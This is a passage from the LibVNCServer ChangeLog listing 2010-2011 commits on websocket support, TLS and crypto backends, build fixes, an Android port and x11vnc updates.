   1614 	libvncserver/rfbcrypto_openssl.c,
   1615 	libvncserver/rfbcrypto_polarssl.c, libvncserver/websockets.c: Add
   1616 	support for different crypto implementations
   1617 
   1618 2011-09-11  Christian Beier <dontmind (a] freeshell.org>
   1619 
   1620 	* configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and
   1621 	GnuTLS advertisement.
   1622 
   1623 2011-09-11  Christian Beier <dontmind (a] freeshell.org>
   1624 
   1625 	* libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init.  gnutls_certificate_set_x509_trust_file() returns the number of
   1626 	processed certs and _not_ GNUTLS_E_SUCCESS (0) on success!
   1627 
   1628 2011-09-11  Christian Beier <dontmind (a] freeshell.org>
   1629 
   1630 	* AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the
   1631 	websocket guys.
   1632 
   1633 2011-08-28  Gernot Tenchio <gernot (a] tenchio.de>
   1634 
   1635 	* configure.ac: configure: Add AM_SILENT_RULES Working with silent make mode makes debugging a lot of easier
   1636 	since warnings wont shadowed by useless compiler noise
   1637 
   1638 2011-08-27  Gernot Tenchio <gernot (a] tenchio.de>
   1639 
   1640 	* CMakeLists.txt: cmake: set SOVERSION
   1641 
   1642 2011-09-11  Christian Beier <dontmind (a] freeshell.org>
   1643 
   1644 	* configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and
   1645 	GnuTLS advertisement.
   1646 
   1647 2011-09-11  Christian Beier <dontmind (a] freeshell.org>
   1648 
   1649 	* libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init.  gnutls_certificate_set_x509_trust_file() returns the number of
   1650 	processed certs and _not_ GNUTLS_E_SUCCESS (0) on success!
   1651 
   1652 2011-09-11  Christian Beier <dontmind (a] freeshell.org>
   1653 
   1654 	* AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the
   1655 	websocket guys.
   1656 
   1657 2011-09-02  Gernot Tenchio <gernot (a] tenchio.de>
   1658 
   1659 	* libvncserver/websockets.c: websocket: Use a single buffer for
   1660 	both, encoding and decoding
   1661 
   1662 2011-08-30  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1663 
   1664 	* libvncserver/rfbssl_gnutls.c: rfbssl_gnutls: Merge
   1665 	rfbssl_peek/rfbssl_read into one function
   1666 
   1667 2011-08-30  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1668 
   1669 	* libvncserver/websockets.c: websockets: fix
   1670 	webSocketCheckDisconnect() Do not consume the peeked data if no close frame was detected.
   1671 
   1672 2011-08-29  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1673 
   1674 	* libvncserver/websockets.c: websockets: use 32bit Xor in
   1675 	webSocketsDecodeHybi()
   1676 
   1677 2011-08-29  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1678 
   1679 	* CMakeLists.txt: cmake: use sha1.c for websocket builds
   1680 
   1681 2011-08-25  Gernot Tenchio <gernot (a] tenchio.de>
   1682 
   1683 	* libvncserver/websockets.c: websockets: nothing to worry about
   1684 
   1685 2011-08-25  Gernot Tenchio <gernot (a] tenchio.de>
   1686 
   1687 	* libvncserver/websockets.c: websockets: added gcrypt based sha1
   1688 	digest funtion
   1689 
   1690 2011-08-25  Joel Martin <jmartin (a] sentryds.com>
   1691 
   1692 	* common/sha1.c, common/sha1.h, libvncserver/Makefile.am,
   1693 	libvncserver/websockets.c: Add sha1.*. Remove UTF-8 encode. Protocol
   1694 	handling.  Add common/sha1.h and common/sha1.c so that we have the SHA routines
   1695 	even if openssl is not available. From the IETF SHA RFC example
   1696 	code.  Remove the UTF-8 encoding hack. This was really just an experiment.  If the protocol passed in the handshake has "binary" then don't
   1697 	base64 encode for the HyBi protocol. This will allow noVNC to
   1698 	request the binary data be passed raw and not base64 encoded.
   1699 	Unfortunately, the client doesn't speak first in VNC protocol (bad
   1700 	original design). If it did then we could determine whether to
   1701 	base64 encode or not based on the first HyBi frame from the client
   1702 	and whether the binary bit is set or not. Oh well.  Misc Cleanup: - Always free response and buf in handshake routine.  - Remove some unused variables.
   1703 
   1704 2011-08-25  Gernot Tenchio <gernot (a] tenchio.de>
   1705 
   1706 	* CMakeLists.txt: cmake: make some noise
   1707 
   1708 2011-08-25  Gernot Tenchio <gernot (a] tenchio.de>
   1709 
   1710 	* libvncserver/rfbssl_gnutls.c: websockets: remove warning on 64bit
   1711 	platforms
   1712 
   1713 2011-08-25  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1714 
   1715 	* libvncserver/websockets.c: websockets: Removed debugging left over
   1716 
   1717 2011-08-25  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1718 
   1719 	* libvncserver/websockets.c: websockets: Use callback functions for
   1720 	encode/decode
   1721 
   1722 2011-08-25  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1723 
   1724 	* libvncserver/rfbserver.c, libvncserver/sockets.c,
   1725 	libvncserver/websockets.c, rfb/rfb.h: websockets: Move Hixie
   1726 	disconnect hack to websockets.c Move the hixie disconnect hack to websockets.c. Removed the
   1727 	remaining websockets vars from rfbClientPtr, so all websockets stuff
   1728 	is hidden behind an opaque pointer.
   1729 
   1730 2011-08-25  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1731 
   1732 	* libvncserver/rfbserver.c, libvncserver/sockets.c,
   1733 	libvncserver/websockets.c, rfb/rfb.h: websockets: Initial HyBi
   1734 	support
   1735 
   1736 2011-08-16  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1737 
   1738 	* CMakeLists.txt: cmake: don't link sdl libs to vnc libraries Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1739 
   1740 2011-08-16  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1741 
   1742 	* libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: 
   1743 	websockets: Add wspath member to rfbClientRec Added wspath member to rfbClientRec which holds the path component
   1744 	of the initial websocket request.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1745 
   1746 2011-08-16  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1747 
   1748 	* CMakeLists.txt, common/md5.c, common/md5.h,
   1749 	libvncserver/Makefile.am, libvncserver/md5.c, libvncserver/md5.h: 
   1750 	Move libvncserver/md5* to common Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1751 
   1752 2011-08-16  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1753 
   1754 	* CMakeLists.txt, rfb/rfbconfig.h.cmake: websockets: Add Websockets
   1755 	support to CMakeLists.txt Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1756 
   1757 2011-08-16  Joel Martin <github (a] martintribe.org>
   1758 
   1759 	* libvncserver/Makefile.am, libvncserver/cargs.c: websockets: Add
   1760 	SSL cert command line options.  - Add --sslcertfile and --sslkeyfile. These should really be
   1761 	  combined with the existing x11vnc command line options for SSL
   1762 	support.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1763 
   1764 2011-08-17  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1765 
   1766 	* configure.ac, libvncserver/Makefile.am,
   1767 	libvncserver/rfbssl_gnutls.c, libvncserver/rfbssl_openssl.c: 
   1768 	websockets: add GnuTLS and OpenSSL support For now, only OpenSSL support is activated through configure, since
   1769 	GnuTLS is only used in LibVNCClient.  [jes: separated this out from the commit adding encryption support,
   1770 	added autoconf support.] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1771 
   1772 2011-08-16  Gernot Tenchio <gernot.tenchio (a] securepoint.de>
   1773 
   1774 	* libvncserver/Makefile.am, libvncserver/rfbserver.c,
   1775 	libvncserver/rfbssl.h, libvncserver/rfbssl_none.c,
   1776 	libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: 
   1777 	websockets: Add encryption support [jes: moved out GnuTLS and OpenSSL support, added a dummy support,
   1778 	to separate changes better, and to keep things compiling] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1779 
   1780 2011-08-16  Joel Martin <jmartin (a] sentryds.com>
   1781 
   1782 	* libvncserver/websockets.c: websockets: Properly parse Hixie-76
   1783 	handshake.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1784 
   1785 2011-08-16  Joel Martin <github (a] martintribe.org>
   1786 
   1787 	* libvncserver/rfbserver.c, libvncserver/websockets.c: websockets:
   1788 	Add UTF-8 encoding support.  This is not completely standard UTF-8 encoding. Only code points
   1789 	0-255 are encoded and never encoded to more than two octets. Since
   1790 	'\x00' is a WebSockets framing character, it's easier for all
   1791 	parties to encode zero as '\xc4\x80', i.e. 194+128, i.e. UTF-8 256.  This means that a random stream will be slightly more than 50%
   1792 	larger using this encoding scheme. But it's easy CPU-wise for client
   1793 	and server to decode/encode. This is especially important for
   1794 	clients written in languages that have weak bitops, like Javascript
   1795 	(i.e. the noVNC client).  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1796 
   1797 2011-08-16  Joel Martin <github (a] martintribe.org>
   1798 
   1799 	* libvncserver/rfbserver.c: websockets: Better disconnect detection.  If the only thing we are waiting on is a WebSockets terminator, then
   1800 	remove it from the stream early on in rfbProcessClientNormalMessage.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1801 
   1802 2011-08-16  Joel Martin <github (a] martintribe.org>
   1803 
   1804 	* configure.ac, libvncserver/Makefile.am, libvncserver/md5.c,
   1805 	libvncserver/md5.h, libvncserver/rfbserver.c,
   1806 	libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: 
   1807 	websockets: Initial WebSockets support.  Has a bug: WebSocket client disconnects are not detected.
   1808 	rfbSendFramebufferUpdate is doing a MSG_PEEK recv to determine if
   1809 	enough data is available which prevents a disconnect from being
   1810 	detected.  Otherwise it's working pretty well.  [jes: moved added struct members to the end for binary compatibility
   1811 	with previous LibVNCServer versions, removed an unused variable] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1812 
   1813 2011-08-17  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1814 
   1815 	* .gitignore: .gitignore: zippy has moved Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1816 
   1817 2011-07-25  Christian Beier <dontmind (a] freeshell.org>
   1818 
   1819 	* examples/android/README: Add installation hints to android example
   1820 	README.
   1821 
   1822 2011-07-22  William Roberts <wroberts (a] sta.samsung.com>
   1823 
   1824 	* examples/android/jni/fbvncserver.c: Reduced memory footprint by
   1825 	50%
   1826 
   1827 2011-07-22  William Roberts <wroberts (a] sta.samsung.com>
   1828 
   1829 	* examples/android/jni/fbvncserver.c: Corrected resolution issue,
   1830 	but screen is getting reported as wrong size
   1831 
   1832 2011-07-23  ckanru <ckanru (a] code.google.com>
   1833 
   1834 	* examples/android/jni/fbvncserver.c: Fixes running vncserver on
   1835 	beagleboard/0xdroid and possibly any device without a touch screen.
   1836 	Because fake touch screen always report zero when query device
   1837 	information, coordinates transformation is not needed.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   1838 
   1839 2011-07-23  Christian Beier <dontmind (a] freeshell.org>
   1840 
   1841 	* configure.ac, examples/Makefile.am, examples/android/Makefile.am,
   1842 	rfb/rfb.h, vncterm/Makefile.am: Adopt autotools build system to
   1843 	Android.  LibVNCServer/LibVNCClient now build for Android!
   1844 
   1845 2011-07-23  Christian Beier <dontmind (a] freeshell.org>
   1846 
   1847 	* examples/android/README, examples/android/jni/Android.mk,
   1848 	examples/android/jni/fbvncserver.c: Add androidvncserver example.
   1849 
   1850 2011-07-22  letsgoustc <letsgoustc (a] gmail.com>
   1851 
   1852 	* rfb/rfb.h: Make LibVNCServer build for Android.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   1853 
   1854 2011-07-19  Joel Martin <github (a] martintribe.org>
   1855 
   1856 	* libvncserver/tight.c: tightPng: check even for SendGradientRect.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   1857 
   1858 2011-07-19  Joel Martin <github (a] martintribe.org>
   1859 
   1860 	* CMakeLists.txt, configure.ac, libvncserver/Makefile.am,
   1861 	libvncserver/rfbserver.c, libvncserver/stats.c,
   1862 	libvncserver/tight.c, rfb/rfb.h, rfb/rfbconfig.h.cmake,
   1863 	rfb/rfbproto.h: tightPng: Add initial tightPng encoding support.  http://wiki.qemu.org/VNC_Tight_PNG Signed-off-by: Joel Martin <github (a] martintribe.org> Signed-off-by:
   1864 	Christian Beier <dontmind (a] freeshell.org>
   1865 
   1866 2011-06-01  Christian Beier <dontmind (a] freeshell.org>
   1867 
   1868 	* libvncserver/main.c, libvncserver/sockets.c: Remove some unused
   1869 	variables.
   1870 
   1871 2010-11-14  George Kiagiadakis <kiagiadakis.george (a] gmail.com>
   1872 
   1873 	* libvncserver/sockets.c, rfb/rfb.h: Fix rfbProcessNewConnection to
   1874 	return some value instead of void.  BUG: 256891 Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   1875 
   1876 2010-11-10  George Kiagiadakis <kiagiadakis.george (a] gmail.com>
   1877 
   1878 	* libvncserver/main.c, libvncserver/sockets.c, rfb/rfb.h: Split two
   1879 	event-loop related functions out of the rfbProcessEvents()
   1880 	mechanism.  This is required to be able to do proper event loop integration with
   1881 	Qt.  Idea was taken from vino's libvncserver fork.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   1882 
   1883 2011-05-06  Cristian Rodrguez <crrodriguez (a] opensuse.org>
   1884 
   1885 	* libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fix buffer
   1886 	overflow Signed-off-by: Cristian Rodrguez <crrodriguez (a] opensuse.org>
   1887 	Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   1888 
   1889 2011-04-30  Christian Beier <dontmind (a] freeshell.org>
   1890 
   1891 	* libvncserver/tight.c: Revert "Fix memory corruption bug." This reverts commit c1363fa9583ed41b94fbc79b3ff410b7d5189407.  The proper fix was already in
   1892 	804335f9d296440bb708ca844f5d89b58b50b0c6.
   1893 
   1894 2011-04-28  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1895 
   1896 	* AUTHORS: UTF-8ify AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1897 
   1898 2011-04-28  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1899 
   1900 	* AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1901 
   1902 2010-11-10  George Kiagiadakis <kiagiadakis.george (a] gmail.com>
   1903 
   1904 	* libvncserver/tight.c: Fix memory corruption bug.  This bug occured when a second telepathy tubes client was connected
   1905 	after the first one had disconnected and the channel (thus, the
   1906 	screen too) had been destroyed.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1907 
   1908 2010-11-10  George Kiagiadakis <kiagiadakis.george (a] gmail.com>
   1909 
   1910 	* common/zywrletemplate.c, libvncserver/auth.c,
   1911 	libvncserver/rfbserver.c, libvncserver/scale.c,
   1912 	libvncserver/scale.h, rfb/rfb.h: Fix compilation in c89 mode.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1913 
   1914 2011-04-27  Vic Lee <llyzs (a] 163.com>
   1915 
   1916 	* libvncclient/tls.c: Replace deprecated GnuTLS functions
   1917 	gnutls_*_set_priority with gnutls_priority_set_direct.  The functions gnutls_*_set_priority we used were marked deprecated
   1918 	since latest GnuTLS version 2.12. However the replacement function
   1919 	gnutls_priority_set_direct is available since 2.2, which is even
   1920 	lower than our version requirement 2.4 in configure. The patch just
   1921 	replace the deprecate function to fix the compile warning.  Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes
   1922 	Schindelin <johannes.schindelin (a] gmx.de>
   1923 
   1924 2011-03-30  Christian Beier <dontmind (a] freeshell.org>
   1925 
   1926 	* ChangeLog: Update ChangeLog for 0.9.8.
   1927 
   1928 2011-03-29  Christian Beier <dontmind (a] freeshell.org>
   1929 
   1930 	* README: Remove RDP from the README description.  We do VNC but no RDP. Pointed out by Vic Lee, thanks!
   1931 
   1932 2011-03-29  Christian Beier <dontmind (a] freeshell.org>
   1933 
   1934 	* utils/git2cl.pl: Fix skipping of merge commits in log convert
   1935 	script.
   1936 
   1937 2011-03-29  Christian Beier <dontmind (a] freeshell.org>
   1938 
   1939 	* bdf2c.pl, consolefont2c.pl, utils/bdf2c.pl,
   1940 	utils/consolefont2c.pl, utils/git2cl.pl: Add a git-log to GNU-Style
   1941 	ChangeLog converter script.  Also put all helper scripts into a utils directory.
   1942 
   1943 2011-03-28  Christian Beier <dontmind (a] freeshell.org>
   1944 
   1945 	* NEWS: Mention the pkg-config stuff in NEWS.
   1946 
   1947 2011-03-27  Vic Lee <llyzs (a] 163.com>
   1948 
   1949 	* .gitignore, Makefile.am, configure.ac, libvncclient.pc.in,
   1950 	libvncserver.pc.in: Add libvncserver.pc and libvncclient.pc files.  Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Christian
   1951 	Beier <dontmind (a] freeshell.org>
   1952 
   1953 2011-03-17  Christian Beier <dontmind (a] freeshell.org>
   1954 
   1955 	* libvncclient/ultra.c, libvncserver/ultra.c: Fix regression in
   1956 	Ultra encoding introduced by commit
   1957 	fe1ca16e9b75b5f38ab374c8dfff92d2c3ea4532.  My bad. There we see what the encodings test is good for ;-)
   1958 
   1959 2011-03-17  Christian Beier <dontmind (a] freeshell.org>
   1960 
   1961 	* test/encodingstest.c: Update encodingstest.  * Fixed segfault on shutdown.  * Updated to test all encodings.  * Fixed to operate with encodings that split up rects into   smaller rects.
   1962 
   1963 2011-03-17  Christian Beier <dontmind (a] freeshell.org>
   1964 
   1965 	* libvncclient/rfbproto.c: Remove useless comparisons that always
   1966 	evaluate to false.  There can not be more than 255 security types and MSLogon is RFB 3.6
   1967 	only.
   1968 
   1969 2011-03-17  Christian Beier <dontmind (a] freeshell.org>
   1970 
   1971 	* examples/rotate.c, examples/rotatetemplate.c, examples/vncev.c,
   1972 	libvncclient/listen.c, libvncclient/rfbproto.c,
   1973 	libvncclient/ultra.c, libvncclient/zrle.c,
   1974 	libvncserver/rfbserver.c, libvncserver/ultra.c: Fix (most) MinGW32
   1975 	compiler warnings.
   1976 
   1977 2011-03-17  Christian Beier <dontmind (a] freeshell.org>
   1978 
   1979 	* examples/rotate.c, examples/zippy.c, libvncserver/zrle.c,
   1980 	libvncserver/zrleencodetemplate.c: Fix remaining compiler warnings.
   1981 
   1982 2011-03-17  Christian Beier <dontmind (a] freeshell.org>
   1983 
   1984 	* VisualNaCro/nacro.c, examples/backchannel.c, examples/camera.c,
   1985 	examples/colourmaptest.c, examples/example.c,
   1986 	examples/filetransfer.c, examples/fontsel.c, examples/mac.c,
   1987 	examples/pnmshow.c, examples/pnmshow24.c, examples/simple.c,
   1988 	examples/simple15.c, examples/vncev.c, examples/zippy.c,
   1989 	test/cargstest.c, test/copyrecttest.c, test/cursortest.c,
   1990 	test/encodingstest.c: Check rfbGetScreen() return value everywhere.  This fixes a segfault when a server is invoked with the '-help'
   1991 	commandline argument.
   1992 
   1993 2011-03-12  Christian Beier <dontmind (a] freeshell.org>
   1994 
   1995 	* CMakeLists.txt, rfb/rfbconfig.h.cmake: CMake: Check for libgcrypt
   1996 	availability.
   1997 
   1998 2011-03-12  Christian Beier <dontmind (a] freeshell.org>
   1999 
   2000 	* CMakeLists.txt: CMake: Threads can be available even if SDL is
   2001 	not.
   2002 
   2003 2011-03-12  Christian Beier <dontmind (a] freeshell.org>
   2004 
   2005 	* CMakeLists.txt: CMake: fix building SDLvncviewer.
   2006 
   2007 2011-03-12  Christian Beier <dontmind (a] freeshell.org>
   2008 
   2009 	* Makefile.am: Include cmake configure file templates in dist
   2010 	tarball.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2011 
   2012 2011-03-12  Christian Beier <dontmind (a] freeshell.org>
   2013 
   2014 	* rfb/rfbconfig.h.in, rfb/stamp-h.in: Remove autogenerated files.
   2015 
   2016 2011-03-12  Christian Beier <dontmind (a] freeshell.org>
   2017 
   2018 	* NEWS: Update NEWS for 0.9.8 release.
   2019 
   2020 2011-03-07  Christian Beier <dontmind (a] freeshell.org>
   2021 
   2022 	* libvncclient/tls.c: Fix libvncclient TLS for Windows builds.  GnuTLS seems to expect proper errno values internally. So set them
   2023 	in our custom push/pull functions. Parts of the patch stolen from
   2024 	libcurl, thanks! Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2025 
   2026 2011-03-07  Christian Beier <dontmind (a] freeshell.org>
   2027 
   2028 	* libvncclient/rfbproto.c: Let libvncclient build with gcrypt for
   2029 	MinGW32 builds.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2030 
   2031 2011-03-07  Vic Lee <llyzs (a] 163.com>
   2032 
   2033 	* libvncclient/sockets.c: Use WaitForMessage instead of sleep in
   2034 	socket reading to fix performance issue.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2035 
   2036 2011-03-10  Christian Beier <dontmind (a] freeshell.org>
   2037 
   2038 	* common/d3des.c, common/d3des.h, libvncserver/auth.c,
   2039 	libvncserver/corre.c, libvncserver/cutpaste.c, libvncserver/draw.c,
   2040 	libvncserver/font.c, libvncserver/hextile.c, libvncserver/httpd.c,
   2041 	libvncserver/rfbregion.c, libvncserver/rre.c,
   2042 	libvncserver/selbox.c, libvncserver/sockets.c,
   2043 	libvncserver/stats.c, libvncserver/tableinit24.c,
   2044 	libvncserver/tableinitcmtemplate.c,
   2045 	libvncserver/tableinittctemplate.c,
   2046 	libvncserver/tabletrans24template.c,
   2047 	libvncserver/tabletranstemplate.c, libvncserver/translate.c,
   2048 	libvncserver/zrletypes.h, rfb/rfbregion.h, test/blooptest.c,
   2049 	test/cursortest.c: Set proper file permissions for source files.
   2050 
   2051 2011-03-10  Christian Beier <dontmind (a] freeshell.org>
   2052 
   2053 	* CMakeLists.txt, configure.ac: Next version will be 0.9.8.
   2054 
   2055 2011-03-10  Christian Beier <dontmind (a] freeshell.org>
   2056 
   2057 	* Makefile.am, configure.ac, contrib/Makefile.am, contrib/zippy.c,
   2058 	examples/Makefile.am, examples/zippy.c: Move zippy.c to examples.
   2059 
   2060 2011-03-03  Christian Beier <dontmind (a] freeshell.org>
   2061 
   2062 	* libvncclient/sockets.c, libvncclient/tls.c, libvncserver/httpd.c,
   2063 	libvncserver/rfbserver.c, libvncserver/sockets.c: Call
   2064 	WSAGetLastError() everywhere errno is read after a Winsock call.  Winsock does NOT update errno for us, we have fetch the last error
   2065 	manually using WSAGetLastError().
   2066 
   2067 2011-01-29  Christian Beier <dontmind (a] freeshell.org>
   2068 
   2069 	* common/lzoconf.h, common/lzodefs.h, common/minilzo.c,
   2070 	common/minilzo.h, libvncclient/Makefile.am,
   2071 	libvncserver/Makefile.am: Update minilzo library used for Ultra
   2072 	encoding to ver 2.04.  According to the minilzo README, this brings a significant speedup
   2073 	on 64-bit architechtures.  Changes compared to old version 1.08 can be found here:
   2074 	http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2075 
   2076 2011-01-24  Christian Beier <dontmind (a] freeshell.org>
   2077 
   2078 	* libvncserver/corre.c, libvncserver/main.c,
   2079 	libvncserver/private.h, libvncserver/rfbserver.c,
   2080 	libvncserver/rre.c, libvncserver/ultra.c, rfb/rfb.h: libvncserver:
   2081 	Make RRE, CoRRE and Ultra encodings thread-safe.  This adds generic before/after encoding buffers to the rfbClient
   2082 	struct, so there is no need for thread local storage.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2083 
   2084 2011-02-02  Christian Beier <dontmind (a] freeshell.org>
   2085 
   2086 	* Makefile.am: Include CMakeLists.txt file in dist tarball.
   2087 
   2088 2011-01-29  Christian Beier <dontmind (a] freeshell.org>
   2089 
   2090 	* .cvsignore, README.cvs, VisualNaCro/.cvsignore,
   2091 	classes/.cvsignore, client_examples/.cvsignore, contrib/.cvsignore,
   2092 	cvs_update_anonymously, examples/.cvsignore,
   2093 	libvncclient/.cvsignore, libvncserver/.cvsignore,
   2094 	libvncserver/tightvnc-filetransfer/.cvsignore, rfb/.cvsignore,
   2095 	test/.cvsignore, vncterm/.cvsignore: Remove unneeded files
   2096 	concerning CVS.  We have a git repo nowadays and I guess we won't go back to CVS.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2097 
   2098 2011-01-31  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2099 
   2100 	* examples/example.dsp, libvncserver.dsp, libvncserver.dsw: Remove
   2101 	completely broken Visual Studio project files If people seriously consider building with Visual Studio, there is
   2102 	always CMake.  Pointed out by Christian Beier.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2103 
   2104 2011-01-31  Christian Beier <dontmind (a] freeshell.org>
   2105 
   2106 	* client_examples/Makefile.am, client_examples/SDLvncviewer.c: 
   2107 	SDLvncviewer: fix compilation from dist tarball.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2108 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2109 
   2110 2011-01-21  Vic Lee <llyzs (a] 163.com>
   2111 
   2112 	* acinclude.m4, configure.ac, libvncclient/rfbproto.c,
   2113 	rfb/rfbproto.h: Add ARD (Apple Remote Desktop) security type support Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Christian
   2114 	Beier <dontmind (a] freeshell.org>
   2115 
   2116 2011-01-25  Christian Beier <dontmind (a] freeshell.org>
   2117 
   2118 	* CMakeLists.txt, common/d3des.c, common/d3des.h, common/lzoconf.h,
   2119 	common/minilzo.c, common/minilzo.h, common/vncauth.c,
   2120 	common/zywrletemplate.c, libvncclient/Makefile.am,
   2121 	libvncclient/lzoconf.h, libvncclient/minilzo.c,
   2122 	libvncclient/minilzo.h, libvncclient/rfbproto.c,
   2123 	libvncclient/zrle.c, libvncserver/Makefile.am,
   2124 	libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/lzoconf.h,
   2125 	libvncserver/minilzo.c, libvncserver/minilzo.h,
   2126 	libvncserver/vncauth.c, libvncserver/zywrletemplate.c: Put files
   2127 	used by both libs into a 'common' dir.  No functional changes. All files used by _both_ libvncserver and
   2128 	libvncclient are put into a 'common' directory and references from
   2129 	other files as well as Autotools and CMake build systems are
   2130 	updated.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2131 
   2132 2011-01-20  ebola_rulez <ebola_rulez (a] users.sourceforge.net>
   2133 
   2134 	* libvncserver/vncauth.c: Fix two errors found by cppcheck Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Christian
   2135 	Beier <dontmind (a] freeshell.org>
   2136 
   2137 2011-01-01  runge <runge (a] karlrunge.com>
   2138 
   2139 	* libvncserver/rfbserver.c: Remove never used protocol version name
   2140 	string.
   2141 
   2142 2010-12-29  runge <runge (a] karlrunge.com>
   2143 
   2144 	* configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
   2145 	x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c,
   2146 	x11vnc/connections.c, x11vnc/connections.h, x11vnc/help.c,
   2147 	x11vnc/inet.c, x11vnc/inet.h, x11vnc/macosx.c, x11vnc/macosxCG.c,
   2148 	x11vnc/macosxCG.h, x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h,
   2149 	x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c,
   2150 	x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/util.c, x11vnc/x11vnc.1,
   2151 	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
   2152 	x11vnc/xwrappers.c: x11vnc: Use opengl to read screen on macosx.
   2153 	non-deprecated macosx interfaces for input injection.
   2154 
   2155 2010-12-21  runge <runge (a] karlrunge.com>
   2156 
   2157 	* configure.ac, prepare_x11vnc_dist.sh, x11vnc/README,
   2158 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: force
   2159 	--with-system-libvncserver to use correct headers.
   2160 
   2161 2010-12-21  runge <runge (a] karlrunge.com>
   2162 
   2163 	* classes/ssl/ss_vncviewer,
   2164 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab
   2165 	-traversal.patch,
   2166 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   2167 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
   2168 	prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog,
   2169 	x11vnc/Makefile.am, x11vnc/README, x11vnc/RELEASE-NOTES,
   2170 	x11vnc/appshare.c, x11vnc/cleanup.c, x11vnc/gui.c, x11vnc/help.c,
   2171 	x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c,
   2172 	x11vnc/macosx.c, x11vnc/macosxCG.c, x11vnc/misc/Makefile.am,
   2173 	x11vnc/misc/README, x11vnc/misc/qt_tslib_inject.pl,
   2174 	x11vnc/misc/uinput.pl, x11vnc/pointer.c, x11vnc/remote.c,
   2175 	x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c,
   2176 	x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/uinput.h,
   2177 	x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.h, x11vnc/v4l.c,
   2178 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   2179 	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h,
